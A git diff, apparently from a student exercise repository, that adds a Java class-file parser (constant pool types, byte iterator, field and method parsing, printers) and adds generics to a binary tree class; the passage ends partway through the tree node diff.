diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/MethodRefInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..68d84ad685
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,61 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		
+		visitor.visitMethodRef(this);
+	}
+	
+	
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..c22a7bfbca
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,50 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);	
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/NullConstantInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..80cc827f18
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,17 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+				
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/StringInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..56f5daa724
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		
+		visitor.visitString(this);
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/UTF8Info.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..858f1b212d
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,34 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);		
+	}
+		
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/AddAnotherParserException.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/AddAnotherParserException.java
new file mode 100644
index 0000000000..9754f36adf
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/AddAnotherParserException.java
@@ -0,0 +1,10 @@
+package com.coderising.jvm.exception;
+
+public class AddAnotherParserException extends Exception{
+
+	private static final long serialVersionUID = 5171999484216739737L;
+
+	public AddAnotherParserException(){
+		super("you should add another parser to solve the unknown AttributeInfo or Constant!");
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/NoNextByteCodeException.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/NoNextByteCodeException.java
new file mode 100644
index 0000000000..8819309841
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/NoNextByteCodeException.java
@@ -0,0 +1,10 @@
+package com.coderising.jvm.exception;
+
+public class NoNextByteCodeException extends Exception{
+
+	private static final long serialVersionUID = -904433109427354744L;
+
+	public NoNextByteCodeException(int byteNum){
+		super("already haven't "+byteNum+" byte data!");
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/NotAClassFileException.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/NotAClassFileException.java
new file mode 100644
index 0000000000..a627baf742
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/NotAClassFileException.java
@@ -0,0 +1,11 @@
+package com.coderising.jvm.exception;
+
+public class NotAClassFileException extends Exception{
+
+	private static final long serialVersionUID = -3645339333237670145L;
+	
+	public NotAClassFileException() {
+		super("this file not a java class file!");
+	}
+
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/field/Field.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..f29420615a
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,65 @@
+package com.coderising.jvm.field;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class Field {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+		
+	private List<AttributeInfo> attributeInfos = new ArrayList<>();
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+	
+	public int getAccessFlag() {
+		return accessFlag;
+	}
+
+	public void setAccessFlag(int accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+		
+	public List<AttributeInfo> getAttributeInfos() {
+		return attributeInfos;
+	}
+
+	public void setAttributeInfos(List<AttributeInfo> attributeInfos) {
+		this.attributeInfos = attributeInfos;
+	}
+
+	@Override
+	public String toString() {
+				
+		String fieldName = pool.getUTF8String(nameIndex);
+		String fieldDesc = pool.getUTF8String(descriptorIndex);
+		
+		return (fieldName+":"+fieldDesc);
+	}
+
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+				
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descriptorIndex = iter.nextU2ToInt();
+		
+		Field field = new Field(accessFlag,nameIndex,descriptorIndex,pool);				
+		field.setAttributeInfos(AttributeInfo.parseAttributes(pool,iter));
+		
+		return field;
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..e69ae7b0b3
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,113 @@
+package com.coderising.jvm.loader;
+
+import com.coderising.jvm.exception.NoNextByteCodeException;
+import com.coderising.jvm.util.Util;
+
+public class ByteCodeIterator {
+
+	private byte[] codes;
+	private int cursor; 
+	
+	public static int numberOne = 1;
+	public static int numberTwo = 2;
+	public static int numberFour = 4;
+	
+	public ByteCodeIterator(byte[] codes){
+		this.codes = codes;
+	}
+	
+	public boolean hasNext(int len) {
+		return (cursor+len) <= codes.length;
+	}
+	
+	public byte[] next(int len){
+		
+		byte[] data = new byte[len];
+		
+		int j = 0;
+		for (int i = cursor; j < len; i++) {
+			data[j] = codes[i];
+			j++;
+		}
+		cursor += len;
+		
+		return data;
+	}
+	
+    public int nextU2ToInt(){
+    	
+    	if(!hasNext(numberTwo)){
+    		try {
+				throw new NoNextByteCodeException(numberTwo);
+			} catch (NoNextByteCodeException e) {
+				e.printStackTrace();
+			}
+    	}
+    	return Util.byteToInt(next(numberTwo));
+    }
+    
+    public int nextU4ToInt(){
+    	
+    	if(!hasNext(numberFour)){
+    		try {
+				throw new NoNextByteCodeException(numberFour);
+			} catch (NoNextByteCodeException e) {
+				e.printStackTrace();
+			}
+    	}
+    	return Util.byteToInt(next(numberFour));
+    }
+    
+    public int nextInt(){
+    	
+    	if(!hasNext(numberOne)){
+    		try {
+				throw new NoNextByteCodeException(numberOne);
+			} catch (NoNextByteCodeException e) {
+				e.printStackTrace();
+			}
+    	}
+    	return Util.byteToInt(next(numberOne));
+    }
+    
+    public String nextStr(int len){
+    	
+    	if(!hasNext(len)){
+    		try {
+				throw new NoNextByteCodeException(len);
+			} catch (NoNextByteCodeException e) {
+				e.printStackTrace();
+			}
+    	}
+    	char[] arr = new char[len];
+    	for (int i = 0; i < len; i++) {
+    		arr[i] = (char)nextInt();
+		}
+    	return new String(arr);
+    }
+    
+    public String nextUxToHexString(int len) {
+		
+    	if(!hasNext(len)){
+    		try {
+				throw new NoNextByteCodeException(len);
+			} catch (NoNextByteCodeException e) {
+				e.printStackTrace();
+			}
+    	}
+		return Util.byteToHexString(next(len)).toLowerCase();
+
+	}
+    
+    /**
+     * 回退
+     */
+    public void back(int backLen){
+    	
+    	if( backLen<= this.cursor ){
+    		this.cursor -= backLen;
+    	}else{
+    		this.cursor = 0;
+    	}
+    }
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoader.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoader.java
index 59d12540fc..4ba2613f1a 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -4,15 +4,19 @@
 import java.util.ArrayList;
 import java.util.List;
 
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.exception.NotAClassFileException;
+import com.coderising.jvm.util.Util;
+
 public class ClassFileLoader {
 
 	private List<String> clzPaths = new ArrayList<String>();
 	
 	public byte[] readBinaryCode(String className) {
 		
-		File clzFile = ClassFileLoaderUtil.getClzFile(clzPaths,className);
+		File clzFile = Util.getClzFile(clzPaths,className);
         		
-		return ClassFileLoaderUtil.readClz(clzFile);	
+		return Util.readClz(clzFile);	
 				
 	}
 		
@@ -30,4 +34,10 @@ public String getClassPath(){
 		return buff.substring(0, buff.length()-1);
 	}
 
+	public ClassFile loadClass(String className) throws NotAClassFileException  {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileParser.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..0d49151217
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,154 @@
+package com.coderising.jvm.loader;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.exception.AddAnotherParserException;
+import com.coderising.jvm.exception.NotAClassFileException;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+import com.coderising.jvm.util.Util;
+
+public class ClassFileParser {
+	
+	public ClassFile parse(byte[] codes) throws NotAClassFileException  {
+
+		ByteCodeIterator iterator = new ByteCodeIterator(codes);
+		if(!validator(iterator)){
+			throw new NotAClassFileException();
+		}
+		ClassFile clazzFile = new ClassFile();
+
+		clazzFile.setMinorVersion(iterator.nextU2ToInt());
+
+		clazzFile.setMajorVersion(iterator.nextU2ToInt());
+
+		clazzFile.setConstPool(parseConstantPool(iterator,clazzFile));
+		
+		clazzFile.setAccessFlag(parseAccessFlag(iterator));
+		
+		clazzFile.setClassIndex(parseClassInfex(iterator));
+		
+		parseInterfaces(iterator);
+			
+		//解析属性
+        int fieldCount = iterator.nextU2ToInt();		
+		for (int i = 0; i < fieldCount; i++) {			
+			clazzFile.addField(Field.parse(clazzFile.getConstantPool(), iterator));
+		}
+		//解析方法
+		int methodCount = iterator.nextU2ToInt();
+		for (int i = 0; i < methodCount; i++) {
+			clazzFile.addMethod(Method.parse(clazzFile.getConstantPool(), iterator));;
+		}
+			
+		return clazzFile;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter){
+
+		return new AccessFlag(iter.nextU2ToInt());
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter){
+
+		ClassIndex classIndex = new ClassIndex();
+		classIndex.setThisClassIndex(iter.nextU2ToInt());
+		classIndex.setSuperClassIndex(iter.nextU2ToInt());
+		return classIndex;
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter,ClassFile clazzFile){
+			
+		ConstantPool pool = new ConstantPool(clazzFile);
+		pool.addConstantInfo(new NullConstantInfo());
+		
+		try {
+			
+			int poolSize = iter.nextU2ToInt();
+			for (int i = 1; i < poolSize; i++) {
+			    int tag = iter.nextInt();		
+				switch (tag) {
+				case ConstantInfo.UTF8_INFO:
+					UTF8Info UTF8Info = new UTF8Info(pool);
+					int len = iter.nextU2ToInt();
+					String value = iter.nextStr(len);
+					UTF8Info.setLength(len);
+					UTF8Info.setValue(value);
+					pool.addConstantInfo(UTF8Info);				
+					break;
+			    case ConstantInfo.FLOAT_INFO:
+			    	//TODO
+					break;
+			    case ConstantInfo.CLASS_INFO:
+			    	ClassInfo classInfo = new ClassInfo(pool);
+			    	classInfo.setUtf8Index(iter.nextU2ToInt());
+			    	pool.addConstantInfo(classInfo);
+					break;
+			    case ConstantInfo.STRING_INFO:
+			    	StringInfo stringInfo = new StringInfo(pool);
+			    	stringInfo.setIndex(iter.nextU2ToInt());
+			    	pool.addConstantInfo(stringInfo);
+					break;
+			    case ConstantInfo.FIELD_INFO:
+			    	FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
+			    	fieldRefInfo.setClassInfoIndex(iter.nextU2ToInt());
+			    	fieldRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
+			    	pool.addConstantInfo(fieldRefInfo);
+					break;	
+			    case ConstantInfo.METHOD_INFO:
+			    	MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
+			    	methodRefInfo.setClassInfoIndex(iter.nextU2ToInt());
+			    	methodRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
+			    	pool.addConstantInfo(methodRefInfo);
+					break;	
+			    case ConstantInfo.NAME_AND_TYPE_INFO:
+			    	NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+			    	nameAndTypeInfo.setIndex1(iter.nextU2ToInt());
+			    	nameAndTypeInfo.setIndex2(iter.nextU2ToInt());
+			    	pool.addConstantInfo(nameAndTypeInfo);
+					break;		
+				default:
+					throw new AddAnotherParserException();
+				}
+			}
+		} catch (AddAnotherParserException e) {
+			e.printStackTrace();
+		}	
+		return pool;
+	}
+	
+	private void parseInterfaces(ByteCodeIterator iter){
+		
+		@SuppressWarnings("unused")
+		int interfaceCount = iter.nextU2ToInt();
+		//System.out.println("接口数量为："+interfaceCount);
+		// TODO
+	}
+	
+	/**
+	 * 校验是否为class文件
+	 * @param iterator
+	 * @return
+	 */
+	private boolean validator(ByteCodeIterator iterator){
+		
+		if(iterator.hasNext(4)){
+			byte[] magicByte = iterator.next(4);
+			String magicNumber = Util.byteToHexString(magicByte);
+			if("cafebabe".equals(magicNumber)){
+				return true;
+			}
+		}
+		return false;
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/method/Method.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..245ccdc558
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,77 @@
+package com.coderising.jvm.method;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	private ConstantPool pool;	
+	private List<AttributeInfo> attributeInfos = new ArrayList<>();
+	
+	
+	public Method(ConstantPool pool,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.pool = pool;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+	
+	public static Method parse(ConstantPool  pool, ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descriptorIndex = iter.nextU2ToInt();
+		
+		Method method = new Method(pool,accessFlag,nameIndex,descriptorIndex);
+		method.setAttributeInfos(AttributeInfo.parseAttributes(pool,iter));
+		
+		return method;		
+	}
+	
+	public ByteCodeCommand[] getCmds() {
+		
+		for (AttributeInfo attributeInfo : attributeInfos) {
+			if(attributeInfo instanceof CodeAttr){
+				return ((CodeAttr) attributeInfo).getCmds();
+			}
+		}
+		return null;
+	}
+	
+	public int getAccessFlag() {
+		return accessFlag;
+	}
+
+	public void setAccessFlag(int accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	public ConstantPool getPool() {
+		return pool;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	
+	public List<AttributeInfo> getAttributeInfos() {
+		return attributeInfos;
+	}
+
+	public void setAttributeInfos(List<AttributeInfo> attributeInfos) {
+		this.attributeInfos = attributeInfos;
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/print/ClassFilePrinter.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..e0be352da4
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,52 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.exception.NotAClassFileException;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag:public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super ClassName:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion()+"\n");
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "F:\\githubRes\\coding2017\\group12\\2258659044\\zj-2017\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "test.com.coderising.jvm.EmployeeV1";
+		
+		ClassFile clzFile = null;
+		try {
+			clzFile = loader.loadClass(className);
+		} catch (NotAClassFileException e) {
+			e.printStackTrace();
+		}
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..f2327a8029
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,112 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
+			
+			@Override
+			public void visitString(StringInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append(printConsName("string")).append("#"+info.getIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitNameAndType(NameAndTypeInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append(printConsName("NameAndType")).append("#"+info.getIndex1()).append(":#")
+				.append(info.getIndex2());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitMethodRef(MethodRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append(printConsName("MethodRef")).append("#"+info.getClassInfoIndex()).append(".#")
+				.append(info.getNameAndTypeIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitFieldRef(FieldRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append(printConsName("FieldRef")).append("#"+info.getClassInfoIndex()).append(".#")
+				.append(info.getNameAndTypeIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitClassInfo(ClassInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append(printConsName("Class")).append("#"+info.getUtf8Index())
+				.append("  ").append(info.getClassName());
+				
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visistUTF8(UTF8Info info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append(printConsName("UTF8")).append(info.getValue());
+				System.out.println(buffer);
+				
+			}
+		};
+		
+		int size = pool.getSize();		
+		for(int i=1; i<=size; i++){
+			ConstantInfo constantInfo = pool.getConstantInfo(i);
+			String space = genaralSpace(size,i);
+			System.out.print(space+"#"+i+"=");
+			constantInfo.accept(visitor);			
+		}
+	}
+	
+	private String genaralSpace(int size,int i){
+		
+		int s1 = String.valueOf(size).length();//数字的位数
+		int s2 = String.valueOf(i).length();//数字的位数
+		StringBuffer str = new StringBuffer();
+		for (int j = 0; j < s1-s2; j++) {
+			str.append(" ");
+		}
+		return str.toString();
+	}
+	
+	/**
+	 * 输出常量名称后面的空格
+	 * @param consBeforStr
+	 */
+	private String printConsName(String consName){
+		
+		String bashStr = "NameAndType";		
+		int bashLen = bashStr.length();
+		int offset = bashLen-consName.length();
+		for (int i = 0; i < offset; i++) {
+			consName+= " ";
+		}
+		return consName+"     ";
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoaderUtil.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/util/Util.java
similarity index 69%
rename from group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoaderUtil.java
rename to group12/2258659044/zj-2017/src/com/coderising/jvm/util/Util.java
index 61faafb77d..d0456fead2 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoaderUtil.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/util/Util.java
@@ -1,4 +1,4 @@
-package com.coderising.jvm.loader;
+package com.coderising.jvm.util;
 
 import java.io.ByteArrayOutputStream;
 import java.io.File;
@@ -7,8 +7,27 @@
 import java.io.InputStream;
 import java.util.List;
 
-public class ClassFileLoaderUtil {
-
+public class Util {
+	
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+       
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+	
 	/**
 	 * 根据类完整包名与classPath获取类class文件
 	 * @return
@@ -68,4 +87,5 @@ public static byte[] readClz(File file){
 		}
 		return data;
 	}
+	
 }
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTree.java b/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTree.java
index 0b8eafc282..3fe9965b5e 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTree.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTree.java
@@ -5,7 +5,7 @@
 public class BinaryTree {
 	
 	//根节点
-	private BinaryTreeNode root;	
+	private BinaryTreeNode<Integer> root;	
 	    
 	@SuppressWarnings({ "rawtypes", "unchecked" })
 	public <T extends Comparable<? super T>> BinaryTreeNode insert(T o){
@@ -44,12 +44,12 @@ public <T extends Comparable<? super T>> BinaryTreeNode insert(T o){
 	 * @param node
 	 * @return
 	 */
-	public List traversalBefore(BinaryTreeNode node){
+	public List<Integer> traversalBefore(BinaryTreeNode<Integer> node){
 		//所有数据集合
-	    List datas = new ArrayList();
+	    List<Integer> datas = new ArrayList<>();
 	    return traversal(node,datas);
 	}
-	private List traversal(BinaryTreeNode node,List datas){
+	private List<Integer> traversal(BinaryTreeNode<Integer> node,List<Integer> datas){
 		
 		if(node !=null){
 			datas.add(node.getData());
@@ -59,7 +59,7 @@ private List traversal(BinaryTreeNode node,List datas){
 		return datas;
 	}
 
-	public BinaryTreeNode getRoot() {
+	public BinaryTreeNode<Integer> getRoot() {
 		return root;
 	}
 		
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTreeNode.java b/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTreeNode.java
index a8e6b66edd..5e8c90fa54 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTreeNode.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTreeNode.java
@@ -1,37 +1,37 @@
-package com.coding.basic;
-public class BinaryTreeNode {
-	
-	private Object data;
-	//父节点
-	private BinaryTreeNode parent;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	
